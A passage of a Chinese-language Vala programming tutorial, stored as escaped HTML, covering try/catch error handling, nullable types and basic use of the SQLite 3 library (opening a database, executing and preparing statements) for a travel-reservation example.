\u003c/span\u003e\u003cspan class=\"n\"\u003esql_return\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要捕捉抛出的错误,请使用 try-catch-finally 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecreateDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_FLIGHT_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_HOTEL_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_BUS_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_CUSTOMER_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCREATE_RESERVATION_TABLE_QUERY\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 错误被捕捉到了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estderr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 可以加写一个 finally,finally 总会被运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVala 的变量可以设为空值,方法是加一个问号:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这句话不会报错\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我个人认为,如果你不能确保方法确实能返回一个元素,可以使用这个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 我没在摸鱼\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCatchFishBeFoundError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当然,可以不用这么麻烦,这只是一个例子。\u003c/p\u003e\n\u003ch2 id=\"sqlite-3-库\"\u003eSQLite 3 库\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.sqlite.org/index.html\" target=\"_blank\" rel=\"noopener\"\u003eSQLite\u003c/a\u003e 是一个库,实现了很完备的关系数据库。它将数据库存在一个文件里,使用的时候,调用 SQLite 库相应的函数,来对这个文件数据库进行基本操作。\u003c/p\u003e\n\u003cp\u003e这东西是一个 C 语言库。但 Vala 可以使用 C 库,它使用 vapi 文件来对应 C 的头文件。(实际上 Vala 也可以写 C 语言库,毕竟这玩意最后还是会变成 C 语言来编译。)\u003c/p\u003e\n\u003cp\u003e所以说,Vala 的 SQLite 库用起来应该和 C 语言的差不多。不过请注意,Vala 是面向对象的,而 SQLite 的库在引用到 Vala 的时候,做了面向对象的处理。\u003c/p\u003e\n\u003cp\u003e使用前,引用这个库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库类\"\u003e数据库类\u003c/h3\u003e\n\u003cp\u003e如此定义一个数据库对象:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e打开数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e执行语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"数据库声明类\"\u003e数据库声明类\u003c/h3\u003e\n\u003cp\u003e定义方式如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eadd_flight\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprepare\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eStatement\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 加不加 v2 都行,需要 sql 语句字符串,字符串长度,输出到一个 statement 类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprepare_v2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSqlite\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePREPARATION_FAILED\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cannot prepare satement for %s: %d, %s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esql_result\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_db\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estatement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e绑定声明:\u003c/p\u003e\n\u003cp\u003e绑定依然有一系列的函数,此处只看绑定字符串\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 